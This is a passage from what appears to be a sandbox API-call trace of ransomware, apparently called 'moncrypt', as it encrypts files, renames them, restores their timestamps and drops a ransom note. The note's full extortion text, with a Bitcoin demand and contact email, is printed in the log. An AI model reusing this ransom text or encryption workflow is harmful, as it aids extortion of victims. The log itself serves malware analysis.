lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpUsedDefaultChar=0x0) returned 77 [0054.255] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", lpUsedDefaultChar=0x0) returned 4 [0054.255] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.255] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.255] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.256] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.256] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.256] GlobalUnlock (hMem=0x440004) returned 0 [0054.256] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.256] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.256] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.256] GlobalUnlock (hMem=0x440004) returned 0 [0054.256] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.256] GlobalUnlock (hMem=0x44000c) returned 0 [0054.256] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.256] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0054.257] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0054.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0054.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0054.257] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.257] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.257] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0054.259] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.moncrypt")) returned 1 [0054.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.260] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.260] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x82c7 [0054.260] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.260] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.269] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.269] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.269] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.269] GlobalUnlock (hMem=0x440004) returned 0 [0054.269] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.269] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.270] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.270] GlobalUnlock (hMem=0x440004) returned 0 [0054.270] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.270] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.270] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.270] GlobalUnlock (hMem=0x44000c) returned 0 [0054.270] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.270] GlobalUnlock (hMem=0x440004) returned 0 [0054.270] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.270] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.270] GlobalUnlock (hMem=0x440004) returned 0 [0054.270] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.270] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.270] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.270] GlobalUnlock (hMem=0x440004) returned 0 [0054.270] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.270] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.270] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.270] SetFilePointer (in: hFile=0x18c, lDistanceToMove=33479, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x82c7 [0054.270] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.270] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.271] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.282] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.282] CloseHandle (hObject=0x18c) returned 1 [0054.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.283] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.283] CloseHandle (hObject=0x18c) returned 1 [0054.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.284] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.284] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.284] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.284] GlobalUnlock (hMem=0x440004) returned 0 [0054.284] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.284] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.284] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.284] GlobalUnlock (hMem=0x440004) returned 0 [0054.284] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.284] GlobalUnlock (hMem=0x44000c) returned 0 [0054.284] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41868560, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41868560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41868560, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.284] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.284] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.284] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.285] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.285] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.285] CloseHandle (hObject=0x18c) returned 1 [0054.285] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.285] GetLastError () returned 0x12 [0054.285] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.285] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.285] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.285] GlobalUnlock (hMem=0x44000c) returned 0 [0054.286] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.286] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.286] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.286] GlobalUnlock (hMem=0x44000c) returned 0 [0054.286] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.286] GlobalUnlock (hMem=0x440004) returned 0 [0054.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4188e6c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4188e6c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.286] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.286] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.286] GlobalLock (hMem=0x440004) returned 0x550170 [0054.286] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.286] GlobalUnlock (hMem=0x440004) returned 0 [0054.286] GlobalLock (hMem=0x440004) returned 0x550170 [0054.286] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.286] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.286] GlobalUnlock (hMem=0x440004) returned 0 [0054.286] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.286] GlobalUnlock (hMem=0x44000c) returned 0 [0054.286] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.286] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4188e6c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x4188e6c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.286] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.286] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.286] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.286] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.286] GlobalUnlock (hMem=0x44000c) returned 0 [0054.287] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.287] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.287] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.287] GlobalUnlock (hMem=0x44000c) returned 0 [0054.287] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.287] GlobalUnlock (hMem=0x440004) returned 0 [0054.287] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.287] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41868560, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41868560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41868560, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.287] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.287] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.287] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.287] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.287] GlobalUnlock (hMem=0x440004) returned 0 [0054.287] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.287] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.287] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.287] GlobalUnlock (hMem=0x440004) returned 0 [0054.287] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.287] GlobalUnlock (hMem=0x44000c) returned 0 [0054.287] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.287] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, 